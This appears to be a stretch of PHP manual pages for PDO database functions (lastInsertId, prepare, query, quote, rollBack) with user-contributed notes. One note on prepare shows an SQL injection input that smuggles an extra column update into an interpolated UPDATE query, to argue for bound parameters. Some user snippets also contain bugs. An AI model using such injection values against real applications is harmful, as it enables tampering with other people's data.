    if( preg_match("/^INSERT[\t\n ]+INTO[\t\n ]+([a-z0-9\_\-]+)/is", $sqlQuery, $tablename) )
    {
        // Gets this table's last sequence value
        $query = "SELECT currval('" . $tablename[1] . "_id_seq') AS last_value";

        $temp_q_id = $pdoObject->prepare($query);
        $temp_q_id->execute();

        if($temp_q_id)
        {
            $temp_result = $temp_q_id->fetch(PDO::FETCH_ASSOC);
            return ( $temp_result ) ? $temp_result['last_value'] : false;
        }
    }

    return false;
}

?>

Example of use:

<?php
// ... connects to a PostgreSQL DB
$pdoObject = new PDO('pgsql:host=localhost;dbname=mydb', 'user', 'pass');

$sql = 'INSERT INTO table (column) VALUES (\'some_value\');';
$result = $pdoObject->prepare($sql);
$result->execute();

echo 'Last Insert ID: ' . pgsqlLastInsertId($sql, $pdoObject);

?>
Nour 15-Aug-2008 02:49
Beware of lastInsertId() when working with transactions in mysql. The following code returns 0 instead of the insert id.

<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test', 'username', 'password');

    $stmt = $dbh->prepare("INSERT INTO test (name, email) VALUES(?,?)");

    try {
        $dbh->beginTransaction();
        $tmt->execute( array('user', 'user@example.com'));
        $dbh->commit();
        print $dbh->lastInsertId();
    } catch(PDOExecption $e) {
        $dbh->rollback();
        print "Error!: " . $e->getMessage() . "</br>";
    }
} catch( PDOExecption $e ) {
    print "Error!: " . $e->getMessage() . "</br>";
}
?>

When no exception is thrown, lastInsertId returns 0. However, if lastInsertId is called before calling commit, the right id is returned.
lod 17-Jul-2008 08:41
Using Postgresql calling this function is identical to doing (with appropriate quoting):

PDO::query("SELECT CURRVAL($name)");

That's the exact query performed by PDO source code used.
(version checked current at time of writing, pgsql_driver.c,v 1.68 2007/12/31)

In particular this means that in normal operation you are still in auto-commit mode and CURRVAL is subject to race conditions.

To use this function safely in Postgresql you MUST wrap it in a beginTransaction() commit() block.
ed at hicklinslade dot com 26-May-2008 09:05
In response to Yonatan Ben-Nes, it does appear that using the latest versions of PHP 5.x and PostgreSQL 8.x, the driver will return a "meaningful" ID (rather than an OID), provided you pass the name of the corresponding sequence.

So, if you created a table as follows:

CREATE TABLE "user" (
"id" SERIAL PRIMARY KEY NOT NULL,
"username" character varying(32)
);

PostgreSQL will (by default) create a sequence called 'user_id_seq'.

You can then do something like:

$strTable = "user":
$last_insert_id = $objPDO->lastInsertId("$strTable_id_seq);

This does appear to function as expected. What is a little unclear to me is whether this simply returns the current value of the sequence; if it does, this isn't a particularly reliable indicator as to the id of the record your code just inserted, especially if your site or application is especially high traffic.
Xavier Arnaus 15-May-2008 10:28
As said by Dennis Du Kroger, in this situation the function will return 0.

But you can retrieve the last inserted Id executing a query asking for the function LAST_INSERT_ID() (at least in MySQL)

Try this:

($o_db is the declared adapter)

$last_id = $o_db->fetchAll('SELECT LAST_INSERT_ID() as last_id');

$last_id = intval($last_id[0]['last_id']);
Steven L 13-May-2008 12:47
This function is not available for MSSQL either.
Jonathon Hibbard 28-Apr-2008 10:17
It should be noted here at this function will not display the correct ID if issuing ON DUPLICATE KEY UPDATE.

Example on a new Row:
<?php
$sql = "INSERT INTO city (`city`) VALUES ('Paris') ON DUPLICATE KEY UPDATE `city` = 'Paris";
$dbh->query($sql);
echo $dbh->lastInsertId();
?>

Above displays: 1
Expected display: 1

Example on an existing row that gets updated:
<?php
$sql = "INSERT INTO city (`city`) VALUES ('Paris') ON DUPLICATE KEY UPDATE `city` = 'Paris";
$dbh->query($sql);
echo $dbh->lastInsertId();
?>

Above displays: 2
Expected display: 1 (since no new records were inserted)

You'll have to work around this.
Yonatan Ben-Nes 17-May-2007 09:05
It should be mentioned that this function DOES NOT retrieve the ID (Primary key) of the row but it's OID instead.

So if you use one of the latest PostgreSQL versions this function won't help you unless you add OID to the table specifically when you create it.
Dennis Du Krøger 22-Jan-2007 02:40
It should be noted that, at least for MySQL using InnoDB tables, with transactions PDO will report the last insert id as 0 after the commit, the real ids are only reported before committing.

(As a side note, MySQL keeps the ID number incremented after a rollback).
dave at dtracorp dot com 18-Aug-2006 05:34
in case anyone was wondering
something like

$val = 5;
$sql = "REPLACE table (column) VALUES (:val)";
$stmt = $dbh->prepare($sql);
$stmt->bindParam(':val', $val, PDO::PARAM_INT);
$stmt->execute();
$lastId = $dbh->lastInsertId();

will return the last inserted id, whether the record was replaced or simply inserted

the REPLACE syntax, simply inserts, or deletes > inserts
so lastInsertId() still works

refer to http://mysql.com/doc/refman/5.0/en/replace.html
for REPLACE usage
opik at opik dot ru 20-Dec-2005 06:10
Simple example:
<?php
try {
   $dbh = new PDO('mysql:host=localhost;dbname=test', 'root', 'passowd');

   $smf = $dbh->prepare("INSERT INTO test (`numer`) VALUES (?)");

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId().'<br />';

   $a = mt_rand(1, 100);
   $smf->bindParam(1, $a, PDO::PARAM_INT);
   $smf->execute();
   print $dbh->lastInsertId();

   $dbh = null;
} catch (PDOException $e) {
   print "Error!: " . $e->getMessage() . "<br/>";
   die();
}
?>
PDO::inTransaction
PDO::prepare
PDO


Prepares a statement for execution and returns a statement object

PDO::lastInsertId
PDO::query
PDO
PHP Manual

PDO::prepare

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::prepare — Prepares a statement for execution and returns a statement object

Description

PDOStatement PDO::prepare ( string $statement [, array $driver_options = array() ] )

Prepares an SQL statement to be executed by the PDOStatement::execute() method. The SQL statement can contain zero or more named (:name) or question mark (?) parameter markers for which real values will be substituted when the statement is executed. You cannot use both named and question mark parameter markers within the same SQL statement; pick one or the other parameter style. Use these parameters to bind any user-input, do not include the user-input directly in the query.

You must include a unique parameter marker for each value you wish to pass in to the statement when you call PDOStatement::execute(). You cannot use a named parameter marker of the same name twice in a prepared statement. You cannot bind multiple values to a single named parameter in, for example, the IN() clause of an SQL statement.

Calling PDO::prepare() and PDOStatement::execute() for statements that will be issued multiple times with different parameter values optimizes the performance of your application by allowing the driver to negotiate client and/or server side caching of the query plan and meta information, and helps to prevent SQL injection attacks by eliminating the need to manually quote the parameters.

PDO will emulate prepared statements/bound parameters for drivers that do not natively support them, and can also rewrite named or question mark style parameter markers to something more appropriate, if the driver supports one style but not the other.

Parameters

statement

This must be a valid SQL statement for the target database server.

driver_options

This array holds one or more key=>value pairs to set attribute values for the PDOStatement object that this method returns. You would most commonly use this to set the PDO::ATTR_CURSOR value to PDO::CURSOR_SCROLL to request a scrollable cursor. Some drivers have driver specific options that may be set at prepare-time.

Return Values

If the database server successfully prepares the statement, PDO::prepare() returns a PDOStatement object. If the database server cannot successfully prepare the statement, PDO::prepare() returns FALSE or emits PDOException (depending on error handling).

Note:

Emulated prepared statements does not communicate with the database server so PDO::prepare() does not check the statement.

Examples

Example #1 Prepare an SQL statement with named parameters

<?php
/* Execute a prepared statement by passing an array of values */
$sql = 'SELECT name, colour, calories
    FROM fruit
    WHERE calories < :calories AND colour = :colour';
$sth = $dbh->prepare($sql, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));
$sth->execute(array(':calories' => 150, ':colour' => 'red'));
$red = $sth->fetchAll();
$sth->execute(array(':calories' => 175, ':colour' => 'yellow'));
$yellow = $sth->fetchAll();
?>

Example #2 Prepare an SQL statement with question mark parameters

<?php
/* Execute a prepared statement by passing an array of values */
$sth = $dbh->prepare('SELECT name, colour, calories
    FROM fruit
    WHERE calories < ? AND colour = ?');
$sth->execute(array(150, 'red'));
$red = $sth->fetchAll();
$sth->execute(array(175, 'yellow'));
$yellow = $sth->fetchAll();
?>

See Also

  • PDO::exec() - Execute an SQL statement and return the number of affected rows
  • PDO::query() - Executes an SQL statement, returning a result set as a PDOStatement object
  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

webmaster at salientdigital dot com 10-Jun-2011 10:09
Using PDO to do database introspection...

<?php
    // Get a list of tables
    $tables = array();
    $sql = "SHOW TABLES";
    $stm = $this->prepare($sql);
    $result = $stm->execute();
    $columnname = 'Tables_in_'. $config['database'];
    while( $row = $stm->fetchObject() ){
        $tables[] = $row->$columnname;
    }
    print_r($tables);
?>

I just found that it is not possible to prepare "SHOW CREATE TABLE ?" nor "SHOW CREATE TABLE :tablename" however, doing it with string concatenation worked fine:

<?php
    $schemas = array();
    foreach($tables as $table)
    {
        $sql = 'SHOW CREATE TABLE '. $table;
        $stm = $this->prepare($sql);
        $result = $stm->execute();
        $columnname = 'Create Table';
        while( $row = $stm->fetchObject() ){
            $schemas[$table] = $row->$columnname;
        }
    }
    print_r($schemas);
?>
pascal dot buguet at laposte dot net 31-Aug-2010 05:11
PDO::CURSOR_SCROLL is ok with MSS.
You must install SQL Server Driver for PHP 2.0 CTP2 : SQLSRV20.EXE
and  the native client "Microsoft SQL Server 2008 R2 Native Client" : sqlncli.msi.
php at evan dot fribourgonline dot com 17-May-2010 10:53
Note that PDO::CURSOR_SCROLL is **not** supported or emulated by the MySQL PDO driver, nor is a warning thrown.

See: http://bugs.php.net/bug.php?id=44475
Robin 04-Mar-2010 05:01
Use prepared statements to ensure integrity of binary data during storage and retrieval. Escaping/quoting by f.e. sqlite_escape_string() or PDO::quote() is NOT suited for binary data - only for strings of text.

A simple test verifies perfect storage and retrieval with prepared statements:

<?php

$num_values = 10000;

$db = new pdo( 'sqlite::memory:' );

$db->exec( 'CREATE TABLE data (binary BLOB(512));' );

// generate plenty of troublesome, binary data
for( $i = 0; $i < $num_values; $i++ )
{
    for( $val = null, $c = 0; $c < 512/16; $c++ )
        $val .= md5( mt_rand(), true );
    @$binary[] = $val;
}

// insert each value by prepared statement
for( $i = 0; $i < $num_values; $i++ )
    $db->prepare( 'INSERT INTO data VALUES (?);' )->execute( array($binary[$i]) );

// fetch the entire row
$data = $db->query( 'SELECT binary FROM data;' )->fetchAll( PDO::FETCH_COLUMN );

// compare with original array, noting any mismatch
for( $i = 0; $i < $num_values; $i++ )
    if( $data[$i] != $binary[$i] ) echo "[$i] mismatch\n";

$db = null;

?>
sgirard at rossprint dot com 29-Oct-2009 03:15
Maybe everyone else already knows this but...

If you have a routine that prepares/executes many insert or update statements for a sqlite db then you may want to make use of the pdo transactions.

On some old hardware my query set went from 12 seconds to 1/3-1/2 second.

-sean
richard at codevanilla.com 11-Sep-2009 04:44
beware
PDO will emulate prepared statements/bound parameters for drivers that do not natively support them, and can also rewrite named or question mark style parameter markers to something more appropriate, if the driver supports one style but not the other.

This includes mySQL it seems so

<?php
try{
        $sth1 = $this->db1->prepare($t1, array(PDO::ATTR_CURSOR => PDO::CURSOR_FWDONLY));

        }
        catch(PDOException $e){
                return $this->pack('dbError', $e->getMessage());
        }
?>

does not and so will not throw the exception if your SQL is wrong.

You will need to check that $sth1 is not null.
daniel dot egeberg at gmail dot com 24-May-2009 01:06
You can also pass an array of values to PDOStatement::execute(). This is also secured against SQL injection. You don't necessarily have to use bindParam() or bindValue().
admin at wdfa dot co dot uk 09-Apr-2009 09:52
Note on the SQL injection properties of prepared statements.

Prepared statements only project you from SQL injection IF you use the bindParam or bindValue option.

For example if you have a table called users with two fields, username and email and someone updates their username you might run

UPDATE `users` SET `user`='$var'

where $var would be the user submitted text.

Now if you did
<?php
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user='$var'");
$b->execute();
?>

and the user had entered  User', email='test for a test the injection would occur and the email would be updated to test as well as the user being updated to User.

Using bindParam as follows
 <?php
$var="User', email='test";
$a=new PDO("mysql:host=localhost;dbname=database;","root","");
$b=$a->prepare("UPDATE `users` SET user=:var");
$b->bindParam(":var",$var);
$b->execute();
?>

The sql would be escaped and update the username to User', email='test'
ak_9jsz 18-May-2008 10:16
Using cursors doesn't work with SQLite 3.5.9. I get an error message when it gets to the execute() method.

Some of you might be saying "duh!" but i was surprised to see TRIGGER support in SQLite, so i had to try. :)

I wanted to use Absolute referencing on a Scrollable cursor and i only wanted one column of data. So i used this instead of a cursor.

<?php

$dbo = new PDO('sqlite:tdb');
$sql = 'SELECT F1, F2 FROM tblA WHERE F1 <> "A";';
$res = $dbo->prepare($sql);
$res->execute();
$resColumn = $res->fetchAll(PDO::FETCH_COLUMN, 0);

for($r=0;$r<=3;$r++)
    echo 'Row '. $r . ' returned: ' . $resColumn[$r] . "\n";

$dbo = null;
$res = null;
?>
Stan 14-Nov-2007 07:35
Using prepared SELECT statements on a MySQL database prior to MySQL 5.1.17 can lead to SERIOUS performance degradation.

Quote from http://dev.mysql.com/doc/refman/5.1/en/query-cache.html :

>> The query cache is not used for server-side prepared statements before MySQL 5.1.17 <<

The MySQL query cache buffers complete query results and is used to satisfy repeated identical queries if the underlying tables do not change in the meantime - just what happens all the time in a typical web application. It speeds up queries by a several hundred to a several thousand percent.

Obviously, it doesn't make much sense to give up query caching for the relatively small performance benefit of prepared statements (i.e. the DBMS not having to parse and optimize the same query multiple times) - so using PDO->query() for SELECT statements is probably the better choice i you're connecting to MySQL < 5.1.17.
www.onphp5.com 07-Apr-2007 06:41
Please note that the statement regarding driver_options is misleading:

"This array holds one or more key=>value pairs to set attribute values for the PDOStatement object that this method returns. You would most commonly use this to set the PDO::ATTR_CURSOR value to PDO::CURSOR_SCROLL to request a scrollable cursor. Some drivers have driver specific options that may be set at prepare-time"

From this you might think that scrollable cursors work for all databases, but they don't! Check out this bug report:
http://bugs.php.net/bug.php?id=34625
johniskew 22-Feb-2007 08:03
If you need to create variable sql statements in a prepare statement...for example you may need to construct a sql query with zero, one, two, etc numbers of arguments...here is a way to do it without a lot of if/else statements needed to glue the sql together:

<?php

    public function matchCriteria($field1=null,$field2=null,$field3=null) {
        $db=DB::conn();
        $sql=array();
        $paramArray=array();
        if(!empty($field1)) {
            $sql[]='field1=?';
            $paramArray[]=$field1;
        }
        if(!empty($field2)) {
            $sql[]='field2=?';
            $paramArray[]=$field2;
        }
        if(!empty($field3)) {
            $sql[]='field3=?';
            $paramArray[]=$field3;
        }
        $rs=$db->prepare('SELECT * FROM mytable'.(count($paramArray)>0 ? ' WHERE '.join(' AND ',$sql) : ''));
        $result=$rs->execute($paramArray);
        if($result) {
            return $rs;
        }
        return false;
    }

?>
jacques at chester dot id dot au 13-Nov-2006 06:07
Watch out: prepared statements on MySQL barf if you try to pass in substitution tables for sql keywords, table names, view names and field names.

For example, this will not work:

$stmt = $dbh->prepare("SELECT :sqlAggregate( :fieldName) from :viewName";

You will get a MySQL error 1064 and a very unhelpful error message.

In short, you need to do string substitutions into your queries if you want configurable table names, aggregate keywords etc etc.

Which doesn't help at all in the "protection from injection attacks" thing. A very annoying discovery.
william dot clarke at gmail dot com 31-Aug-2006 03:58
Surely if you want to use prepared statements that way you should use the syntax in the second example:

eg.

instead of:
select id,name from demo_de where name LIKE :name OR name=:name

use:
select id,name from demo_de where name LIKE ? OR name=?

I believe you are supposed to either use distinct named parameters (name, name1) OR anonymous parameters (?s)
roth at egotec dot com 30-Aug-2006 01:58
Attention using MySQL and prepared statements.
Using a placeholder multiple times inside a statement doesn't work. PDO just translates the first occurance und leaves the second one as is.

select id,name from demo_de where name LIKE :name OR name=:name

You have to use

select id,name from demo_de where name LIKE :name OR name=:name2

and bind name two times. I don't know if other databases (for example Oracle or MSSQL) support multiple occurances. If that's the fact, then the PDO behaviour for MySQL should be changed.
PDO::lastInsertId
PDO::query
PDO


Executes an SQL statement, returning a result set as a PDOStatement object

PDO::prepare
PDO::quote
PDO
PHP Manual

PDO::query

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.0)

PDO::query — Executes an SQL statement, returning a result set as a PDOStatement object

Description

PDOStatement PDO::query ( string $statement )
PDOStatement PDO::query ( string $statement , int $PDO::FETCH_COLUMN , int $colno )
PDOStatement PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs )
PDOStatement PDO::query ( string $statement , int $PDO::FETCH_INTO , object $object )

PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.

For a query that you need to issue multiple times, you will realize better performance if you prepare a PDOStatement object using PDO::prepare() and issue the statement with multiple calls to PDOStatement::execute().

If you do not fetch all of the data in a result set before issuing your next call to PDO::query(), your call may fail. Call PDOStatement::closeCursor() to release the database resources associated with the PDOStatement object before issuing your next call to PDO::query().

Note:

Although this function is only documented as having a single parameter, you may pass additional arguments to this function. They will be treated as though you called PDOStatement::setFetchMode() on the resultant statement object.

Parameters

statement

The SQL statement to prepare and execute.

Data inside the query should be properly escaped.

Return Values

PDO::query() returns a PDOStatement object, or FALSE on failure.

Examples

Example #1 Demonstrate PDO::query

A nice feature of PDO::query() is that it enables you to iterate over the rowset returned by a successfully executed SELECT statement.

<?php
function getFruit($conn) {
    $sql = 'SELECT name, color, calories FROM fruit ORDER BY name';
    foreach ($conn->query($sql) as $row) {
        print $row['name'] . "\t";
        print $row['color'] . "\t";
        print $row['calories'] . "\n";
    }
}
?>

The above example will output:

apple   red     150
banana  yellow  250
kiwi    brown   75
lemon   yellow  25
orange  orange  300
pear    green   150
watermelon      pink    90

See Also

  • PDO::exec() - Execute an SQL statement and return the number of affected rows
  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

marcos at marcosregis dot com 24-Sep-2008 09:14
After a lot of hours working with DataLink on Oracle->MySQL and PDO we (me and Adriano Rodrigues, that solve it) discover that PDO (and oci too) need the attribute AUTOCOMMIT set to FALSE to work correctly with.
There's  3 ways to set autocommit to false: On constructor, setting the atribute after construct and before query data or initiating a Transaction (that turns off autocommit mode)

The examples:
<?php
// First way - On PDO Constructor
$options = array(PDO::ATTR_AUTOCOMMIT=>FALSE);

$pdo = new PDO($dsn,$user,$pass,$options);

// now we are ready to query DataLinks

?>

<?php
// Second Way - Before create statements
$pdo = new PDO($dsn,$user,$pass);

$pdo->setAttribute(PDO::ATTR_AUTOCOMMIT,FALSE);
// or
$pdo->beginTransaction();

// now we are ready to query DataLinks
?>

To use DataLinks on oci just use OCI_DEFAULT on oci_execute() function;
oohall [AT] gmail [DOT] com 18-Sep-2008 10:52
Since query() dosn't support ? paramaters I hacked this up:

<?php
class MyPDO extends PDO
{
    private $qcache; // prepared query cache

    // Usage: $dbobject->query($sql, $args...)

    public function pquery($sql)
    {
        if( is_object($this->qcache[$sql]))
        {
            $query = $this->qcache[$sql];
        } else {
            $query = $this->prepare($sql);
            $this->qcache[$sql] = $query;
        }

        $args = func_get_args();
        array_shift($args);

        $query->execute($args);

        return $query;
    }
}
?>

Food for thought: If you're going though the results of a query and use this function to perform another query of the same type (meaning same object) the results from the previous query will be lost. Granted, this probably won't happen (often). but it should be noted.
andrea at bhweb dot it 16-Jul-2008 03:57
If someone is suffering of the "MySQL server has gone away" problem after executing multiple queries, this is a solution that solved it for me. It's similar to the one needed for the exact same problem in mysqli.

<?php
$stmt=$db->prepare($query);
$stmt->execute();
do { $stmt->fetch(); $stmt->closeCursor(); ++$line; } while($stmt-
>nextRowset());
?>

I found this only works using prepare and execute this way, not if you
directly execute the query with query().
NUNTIUS 22-Jan-2008 09:01
I found this method extremely useful for getting the iteration count. Note the usage of "for" instead of "while" or "foreach". Just place the "$row = $query->fetch()" as the second condition of your for loop (which is do until). This is the best of both worlds IMHO. Criticism welcome.

try {
    $hostname = "servername";
    $dbname = "dbname";
    $username = "username";
    $pw = "password";
    $pdo = new PDO ("mssql:host=$hostname;dbname=$dbname","$username","$pw");
  } catch (PDOException $e) {
    echo "Failed to get DB handle: " . $e->getMessage() . "\n";
    exit;
  }
      $query = $pdo->prepare("select name FROM tbl_name");
      $query->execute();

      for($i=0; $row = $query->fetch(); $i++){
        echo $i." - ".$row['name']."<br/>";
      }

      unset($pdo);
      unset($query);
wuzup_13 at hotmail dot com 19-Nov-2007 09:49
This is an example PDO query function, dbQuery only needs to be passed your database query in order to work.
Our return solves the problem of not being able to count PDO returns/objects.
You can perform a count() on the return array, unless only 1 row is returned, then you will be counting columns, instead of rows.
See for yourself, I think you'll find this useful, it solved many of our problems - we have to do a bit more backend work, but such is the cost of a reasonable PDO function.

EXAMPLE:

// If you know the select statement will return only one row:
$row = dbQuery("SELECT * FROM users WHERE user_id = 1");
print $row['user_id']; // Prints one row. If more than one, will print "Array"

// If you are expecting one or more rows:
$query = dbQuery("SELECT * FROM users");
foreach ($query as $row) {
  print $row['user_id']; // Prints ALL rows
}

<?php

function dbConnect() {
  global $dbh;

  $dbInfo['database_target'] = "localhost";
  $dbInfo['database_name'] = "my_db";
  $dbInfo['username'] = "root";
  $dbInfo['password'] = "";

  $dbConnString = "mysql:host=" . $dbInfo['database_target'] . "; dbname=" . $dbInfo['database_name'];
  $dbh = new PDO($dbConnString, $dbInfo['username'], $dbInfo['password']);
  $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
  $error = $dbh->errorInfo();
  if($error[0] != "") {
      print "<p>DATABASE CONNECTION ERROR:</p>";
      print_r($error);
  }
}

function dbQuery($queryString) {
  global $dbh;

  $query = $dbh->query($queryString);
  $i = 0;
  foreach ($query as $query2) {
    $queryReturn[$i] = $query2;
    $i++;
  }
  if($i > 1) {
    return $queryReturn;
  } else {
    return $queryReturn[0];
  }
}

dbConnect(); // Connect to Database

?>
Adael 19-Nov-2007 02:23
For get one row from one query:
<?PHP
$row = $dbh->query("SELECT * FROM customers")->fetch();
?>
fredrik at NOSPAM dot rambris dot com 05-May-2007 09:04
The handling of errors by this function is controlled by the attribute PDO::ATTR_ERRMODE.

Use the following to make it throw an exception:
<?php
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
?>
nicobn at gmail dot com 26-Apr-2007 03:29
Please note that when Query() fails, it does not return a PDOStatement object . It simply returns false.
Ravo 25-Apr-2007 07:49
I struggled with this trying to figure out why I couldn't return a single row using a simple query. This may or may be obvious but you have to use PDOstatement functions of the result of a PDO->query(). This took me a while to figure out since it is a far cry from the query functions of old.

<?php
$connection = new pdo("sqlite:file.sq3");
$query="SELECT * FROM table";
$result = $connection->query($query);
$row = $result->fetch(PDO::FETCH_ASSOC);
print_r($row);
?>
ts at tpdada dot art dot pl 24-Jan-2007 09:17
Look out for re-using this same variable for PDOStatement twice. You should always clear it if you want use it again.

<?php

/* WRONG */

$oPDO = new PDO();

$oPDOStatement = $oPDO->query('SELECT something');

/* making something with $oPDOStatement, i.e. fetch() */

  $oPDOStatement = $oPDO->query('SELECT something completly different');

/* and now $oPDOStatement is unuseful, fetch() doesn't returns result etc. */

?>

But...

<?php

/* GOOD */

 $oPDO = new PDO();

 $oPDOStatement = $oPDO->query('SELECT something');

 /* making something with $oPDOStatement, i.e. fetch() */

 /* and destroy poor, little object as we had used it */

 $oPDOStatement  = null;

 $oPDOStatement = $oPDO->query('SELECT something completly different');

/* and everything works fine */

?>
jonmsawyer at gmail dot com 23-Jan-2007 12:03
@ dozoyousan at gmail dot com
> 03-May-2006 05:26
> > When query() fails, the boolean false is returned.
>
> I think that is "Silent Mode".
> If that set attribute ErrorMode "Exception Mode"
> then that throw PDOException.
> $pdoObj = new PDO( $dsn, $user, $pass );
> $pdoObj->setAttribute("PDO::ATTR_ERRMODE",
> PDO::ERRMODE_EXCEPTION);

What you say is correct, however, your PHP code is incorrect:

<?php
    // This is fine
    $pdoObj = new PDO( $dsn, $user, $pass );

    // This line is wrong
    $pdoObj->setAttribute("PDO::ATTR_ERRMODE", PDO::ERRMODE_EXCEPTION);

    // It should be:
    $pdoObj->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

    // Parameter 1 should not be in quotes. PHP interprets
    // that as a string. Instead, internally, its represented
    // as type LONG INT. Try it :)
?>

Hope this helps. Cheers.
yannikh at gmeil dot com 28-Oct-2006 02:47
@E. Rnie:
The example DOES work fine.
query returns in iterable object. print_r just does not show that!

Ich you use fetchAll() you will receive an Array with all rows. Of course this works too, but it is not a good idea on big resultsets.
E. Rnie 22-May-2006 06:36
the above example does not function well...
it just returned
(
    [queryString] => "SELECT * FROM...."
)

with a trailing ->fetchAll() everthing is working fine...

the complete correct line:

foreach ($conn->query($sql)->fetchAll as $row) {
.
.
.
dozoyousan at gmail dot com 02-May-2006 10:26
> When query() fails, the boolean false is returned.

I think that is "Silent Mode".
If that set attribute ErrorMode "Exception Mode"
then that throw PDOException.
 $pdoObj = new PDO( $dsn, $user, $pass );
 $pdoObj->setAttribute("PDO::ATTR_ERRMODE", PDO::ERRMODE_EXCEPTION);
PDO::prepare
PDO::quote
PDO


Quotes a string for use in a query.

PDO::query
PDO::rollBack
PDO
PHP Manual

PDO::quote

(PHP 5 >= 5.1.0, PECL pdo >= 0.2.1)

PDO::quote — Quotes a string for use in a query.

Description

string PDO::quote ( string $string [, int $parameter_type = PDO::PARAM_STR ] )

PDO::quote() places quotes around the input string (if required) and escapes special characters within the input string, using a quoting style appropriate to the underlying driver.

If you are using this function to build SQL statements, you are strongly recommended to use PDO::prepare() to prepare SQL statements with bound parameters instead of using PDO::quote() to interpolate user input into an SQL statement. Prepared statements with bound parameters are not only more portable, more convenient, immune to SQL injection, but are often much faster to execute than interpolated queries, as both the server and client side can cache a compiled form of the query.

Not all PDO drivers implement this method (notably PDO_ODBC). Consider using prepared statements instead.

Parameters

string

The string to be quoted.

parameter_type

Provides a data type hint for drivers that have alternate quoting styles.

Return Values

Returns a quoted string that is theoretically safe to pass into an SQL statement. Returns FALSE if the driver does not support quoting in this way.

Examples

Example #1 Quoting a normal string

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Simple string */
$string = 'Nice';
print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

The above example will output:

Unquoted string: Nice
Quoted string: 'Nice'

Example #2 Quoting a dangerous string

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Dangerous string */
$string = 'Naughty \' string';
print "Unquoted string: $string\n";
print "Quoted string:" . $conn->quote($string) . "\n";
?>

The above example will output:

Unquoted string: Naughty ' string
Quoted string: 'Naughty '' string'

Example #3 Quoting a complex string

<?php
$conn = new PDO('sqlite:/home/lynn/music.sql3');

/* Complex string */
$string = "Co'mpl''ex \"st'\"ring";
print "Unquoted string: $string\n";
print "Quoted string: " . $conn->quote($string) . "\n";
?>

The above example will output:

Unquoted string: Co'mpl''ex "st'"ring
Quoted string: 'Co''mpl''''ex "st''"ring'

See Also

  • PDO::prepare() - Prepares a statement for execution and returns a statement object
  • PDOStatement::execute() - Executes a prepared statement

User Contributed Notes

hungry dot rahly at gmail dot com 27-Sep-2010 09:31
For those of you who do want to have null returned as NULL, it is fairly easy to add.

<?php
class Real_PDO extends PDO {
  public function quote($value, $parameter_type = PDO::PARAM_STR ) {
    if( is_null($value) ) {
      return "NULL";
    }
    return parent::quote($value, $parameter_type);
  }
}
?>

then all you have to do is change your creation of the PDO object to this new class, and you shouldn't have to change any other function calls.  The nice thing about this method is that you can override any PDO function or add your own.  IMO, PDO should natively handle this, as there is a difference in databases between NULL and an empty string(''), the quoting of numeric values is another issue altogether.
php at deobald dot org 20-May-2008 08:33
Note that this function just does what the documentation says: It escapes special characters in strings.

It does NOT - however - detect a "NULL" value. If the value you try to quote is "NULL" it will return the same value as when you process an empty string (-> ''), not the text "NULL".
PDO::query
PDO::rollBack
PDO


Rolls back a transaction

PDO::quote
PDO::setAttribute
PDO
PHP Manual

PDO::rollBack

(PHP 5 >= 5.1.0, PECL pdo >= 0.1.0)

PDO::rollBack — Rolls back a transaction

Description

bool PDO::rollBack ( void )

Rolls back the current transaction, as initiated by PDO::beginTransaction(). A PDOException will be thrown if no transaction is active.

If the database was set to autocommit mode, this function will restore autocommit mode after it has rolled back the transaction.

Some databases, including MySQL, automatically issue an implicit COMMIT when a database definition language (DDL) statement such as DROP TABLE or CREATE TABLE is issued within a transaction. The implicit COMMIT will prevent you from rolling back any other changes within the transaction boundary.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Roll back a transaction

The following example begins a transaction and issues two statements that modify the database before rolling back the changes. On MySQL, however, the DROP TABLE statement automatically commits the transaction so that none of the changes in the transaction are rolled back.

<?php
/* Begin a transaction, turning off autocommit */
$dbh->beginTransaction();

/* Change the database schema and data */
$sth = $dbh->exec("DROP TABLE fruit");
$sth = $dbh->exec("UPDATE dessert
    SET name = 'hamburger'");

/* Recognize mistake and roll back changes */
$dbh->rollBack();

/* Database connection is now back in autocommit mode */
?>

See Also

  • PDO::beginTransaction() - Initiates a transaction
  • PDO::commit() - Commits a transaction
  • Transactions and auto-commit

User Contributed Notes

Petros Giakouvakis 10-Nov-2010 01:30
Should anyone reading this be slightly panicked because they just discovered that their MySQL  tables are MyIsam and not InnoDb, don't worry... You can very easily change the storage engine using the following query:

ALTER TABLE your_table_name ENGINE = innodb;
brian at diamondsea dot com 25-Mar-2008 07:19
Here is a way of testing that your transaction has started when using MySQL's InnoDB tables.  It will fail if you are using MySQL's MyISAM tables, which do not support transactions but will also not return an error when using them.

<?
// Begin the transaction
$dbh->beginTransaction();

// To verify that a transaction has started, try to create an (illegal for InnoDB) nested transaction.
//    If it works, the first transaction did not start correctly or is unsupported (such as on MyISAM tables)
try {
    $dbh->beginTransaction();
    die('Cancelling, Transaction was not properly started');
} catch (PDOException $e) {
    print "Transaction is running (because trying another one failed)\n";
}
?>
JonasJ 08-Jan-2008 01:59
Just a quick (and perhaps obvious) note for MySQL users;

Don't scratch your head if it isn't working if you are using a MyISAM table to test the rollbacks with.

Both rollBack() and beginTransaction() will return TRUE but the rollBack will not happen.

Convert the table to InnoDB and run the test again.
linfo2003 at libero dot it 29-May-2007 07:07
